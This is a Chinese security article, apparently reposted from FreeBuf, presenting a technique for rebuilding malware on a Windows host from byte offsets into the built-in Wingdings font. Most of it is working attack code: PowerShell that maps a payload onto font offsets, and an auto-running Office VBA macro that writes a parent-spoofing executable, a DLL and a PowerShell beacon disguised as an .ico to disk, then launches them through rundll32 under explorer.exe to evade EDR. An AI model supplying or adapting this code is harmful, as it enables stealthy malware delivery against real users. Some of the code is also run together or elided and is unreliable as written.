利用Windows系统字体来创建恶意软件

2018-12-19 14:11:055575人阅读

严正声明:本文内容仅用于教育目的和技术讨论,严禁用于非法用途。

前言

在不需要任何其他依赖组件的情况下完成入侵,指的就是利用目标系统中已安装的合法程序来进行恶意活动。在这种场景下,攻击者无需通过嵌入代码或Payload来传递外部文件,因为所有需要用到的执行载体在目标主机上都已经准备好了。

1543410155_5bfe91eb30d12.png!small.jpg

步骤

在大多数情况下,一般的网络攻击需分成下面这三个步骤来进行:

1、 传递一个包含了Payload的文件,该文件需包含:

a)需要执行的恶意代码

b)或者

c)非恶意代码,因为Payload可以在第三步中下载恶意组件

2、 诱使目标用户执行Payload;

3、 接下来,Payload将会:

a)执行恶意组件

b)或者

c)下载恶意组件,然后执行

我的目标

我想要的解决方案应该满足以下几个条件:

1、 不包含任何恶意代码(甚至连恶意字节都没有),以绕过边界防护。

2、 不用下载任何恶意代码。

3、 最终执行恶意代码。

利用目标主机中的字体实现恶意软件自生成。

首先,我们需要找出每一个Windows操作系统版本都包含的一个组件,结果我找到了这个:

2.jpg

我对比了多个Windows版本中的Wingdings字体,然后发现这个字体在每个版本中都是一样的。

因此,我打算利用这个字体来实现我的“小”目标。应该怎么做呢?方法大致如下:

1、 在我们的主机上,收集我们恶意软件的字节数据。

2、 拿恶意软件的第一个字节跟Wingdings字体进行对比。

3、 在字体中找到了相同字节之后,在文本文件中记录它的位置。

4、 重复这个过程,直到找出恶意软件中包含的所有字节,然后在文本文件中记录下它们的位置。

5、 我们的Payload将包含每个字节所对应的Wingdings字体位置。

6、 在目标主机上,Payload将会使用Wingdings字体的位置来转换成字节数据,并构建恶意组件。

下面给出的是用来找出字节对应字体位置的PowerShell代码:

$Font= "C:\Windows\Fonts\wingding.ttf"$Malware= "C:\Users\Administrator\Pictures\2.PNG" $fontArray= Get-Content $Font -Encoding Byte -ReadCount 0$malwareArray= Get-Content $Malware -Encoding Byte -ReadCount 0$offsetArray= @()foreach($byteInMalware in $malwareArray){    $index = 0    foreach ($byteInFont in $fontArray) {       if ($byteInMalware -eq $byteInFont) {            $offsetArray += $index            break        }        $index++    }   }

PowerShell代码将生成一个VBA代码,你可以将其插入到宏文件中,这份代码会生成一个包含字节位置信息的字节数组,它将负责构建你的恶意组件:

$i=0$payload= ""$j=0$u=1$payDef= ""foreach($offsetin $offsetArray){      if($i -eq 30) {        $payload = $payload + ", " +$offset + " _`r`n"        $i=0              $j++    }    else {       if($i -eq 0) {        $payload = $payload + $offset             }       else {        $payload = $payload + ", " +$offset             }    }    if($j -eq 25)  {        $payDef = $payDef + "`r`nFunctionccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"        $payload = ""        $u++        $j = 0    }    $i++}if($payload-ne ""){$payDef= $payDef + "`r`nFunction ccc$u()tt$u= Array($payload)ccc$u= tt$uEndFunction"} $payDef

运行结果如下:

3.jpg

下面给出的VBA代码将使用我们之前所创建的字节数组来生成恶意组件。接下来,我们需要选择Explorer.exe来作为RunDll32.exe的父进程(目的是绕过EDR产品),然后通过RunDll32.exe来执行我们的恶意组件。如果你不想把文件写入磁盘的话,你可以尝试结合内存注入技术来使用。

VBA代码如下:

[...]--> you array of bytes containing the position of necessary bytes in theWindings font.

 

'exampleto join the bytes for the fist malicious component

 

    t1 = cc1

    t2 = cc2

    t3 = cc3

    t4 = cc4

    t5 = cc5

    t6 = cc6

    t7 = cc7

    t8 = cc8

    t9 = cc9

    t10 = cc10

    t11 = cc11

    t12 = cc12

    t13 = cc13

    t14 = cc14

    t15 = cc15

    t16 = cc16

    t17 = cc17

    t18 = cc18

 

    ttt = Split(Join(t1, ",") &"," & Join(t2, ",") & "," & Join(t3,",") & "," & Join(t4, ",") &"," & Join(t5, ",") & "," & Join(t6,",") & "," & Join(t7, ",") &"," & Join(t8, ",") & "," & Join(t9,",") _

     & "," & Join(t10,",") & "," & Join(t11, ",") &"," & Join(t12, ",") & "," &Join(t13, ",") & "," & Join(t14, ",")& "," & Join(t15, ",") & "," &Join(t16, ",") & "," & Join(t17, ",")& "," & Join(t18, ","), ",")

 

 

[...]

 

 

    Dim nb As Integer

    Dim nb2 As Integer

    nb = UBound(ttt) - LBound(ttt) + 1 'ttt isa joined byte array

    nb2 = UBound(tt) - LBound(tt) + 1

    nb3 = UBound(ttttttt) - LBound(ttttttt) + 1

    Dim intFileNumber As Integer

    Dim i As Integer

    Dim j As Integer

    Dim lngFileSize As Long

    Dim lngFileSize2 As Long

    Dim strBuffer As String

    Dim strBuffer2 As String

    Dim lngCharNumber As Long

    Dim lngCharNumber2 As Long

    Dim strCharacter As String * 1

    Dim strCharacter2 As String * 1

    Dim strFileName As String

    Dim strFileName2 As String

    Dim offset() As Variant

       

    strFileName ="C:\Windows\Fonts\wingding.ttf"

    intFileNumber = FreeFile

    Open strFileName For Binary Access ReadShared As #intFileNumber

        lngFileSize = LOF(intFileNumber)

        strBuffer = Space$(lngFileSize)

        Get #intFileNumber, , strBuffer

    Close #intFileNumber

 

   Dim nFileNum As Long

   Dim sFilename As String

   Dim ind As Long

   sFilename2 ="C:\Users\Public\Documents\changeMyParent.exe" ' crafted binary thatwill be use to select the parent of rundll32

   sFilename ="C:\Users\Public\Documents\runPoshCode.dll" ' .DLL that will runpowershell beacon from an image

   sFilename3 ="C:\Users\Public\Documents\BEACON.ico" ' malicious powershell beaconregistered in an .ICO

   nFileNum = FreeFile

   ' a loop would be better
  

   Open sFilename2 For Binary Lock Read WriteAs #nFileNum

       For lngCharNumber = 0 To nb - 1

        ind = lngCharNumber + 1

        off = ttt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

  

   nFileNum = FreeFile

   Open sFilename For Binary Lock Read Write As#nFileNum

       For lngCharNumber = 0 To nb2 - 1

        ind = lngCharNumber + 1

        off = tt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

  

   nFileNum = FreeFile

   Open sFilename3 For Binary Lock Read WriteAs #nFileNum

       For lngCharNumber = 0 To nb3 - 1

        ind = lngCharNumber + 1

        off = ttttttt(lngCharNumber)

        strCharacter = Mid(strBuffer, off, 1)

        Put #nFileNum, ind, strCharacter

       Next lngCharNumber

   Close #nFileNum

   rr

EndSub

 

Subrr()

  Dim xx As String

  Dim oihfasf As Object, eopuf As Object, kdjAs Object

  Dim oDic As Object, a() As Variant

  Dim pskaf As Integer

 

  Set oDic =CreateObject("Scripting.Dictionary")

 

  xx = "."

 

  Set oihfasf =GetObject("winmgmts:\\" _

      & xx & "\root\CIMV2")

  Set eopuf = oihfasf.ExecQuery _

      ("Select Name, ProcessID FROMWin32_Process", , 48)

 

  For Each kdj In eopuf

      If(kdj.Properties_("Name").Value) = "explorer.exe" Then

          pskaf =(kdj.Properties_("ProcessID").Value)

      End If

  Next

Dim tAs Date

 

Dimcnt As Long

Dimarr(2) As Byte

 

Dimxl As String

xl ="C:\Users\Public\Documents\changeMyParent.exe ""C:\Windows\system32\RunDll32.exeC:\Users\Public\Documents\runPoshCode.dll,ComputeFmMediaType -fC:\Users\Public\Documents\BEACON.ico"" " & pskafxx ="."

Setow = GetObject("winmgmts:\\" & xx & "\Root\cimv2")

Setos = ow.Get("Win32_ProcessStartup")

Setoc = os.SpawnInstance_

Setop = GetObject("winmgmts:\\" & xx &"\root\cimv2:Win32_Process")

op.Createxl, Null, oc, aslh

 

EndSub

SubAutoOpen()

    cc

EndSub

SubWorkbook_Open()

    cc

EndSub



本文转自FreeBuf.COM,参考来源:sysadminconcombre,Alpha_h4ck编译

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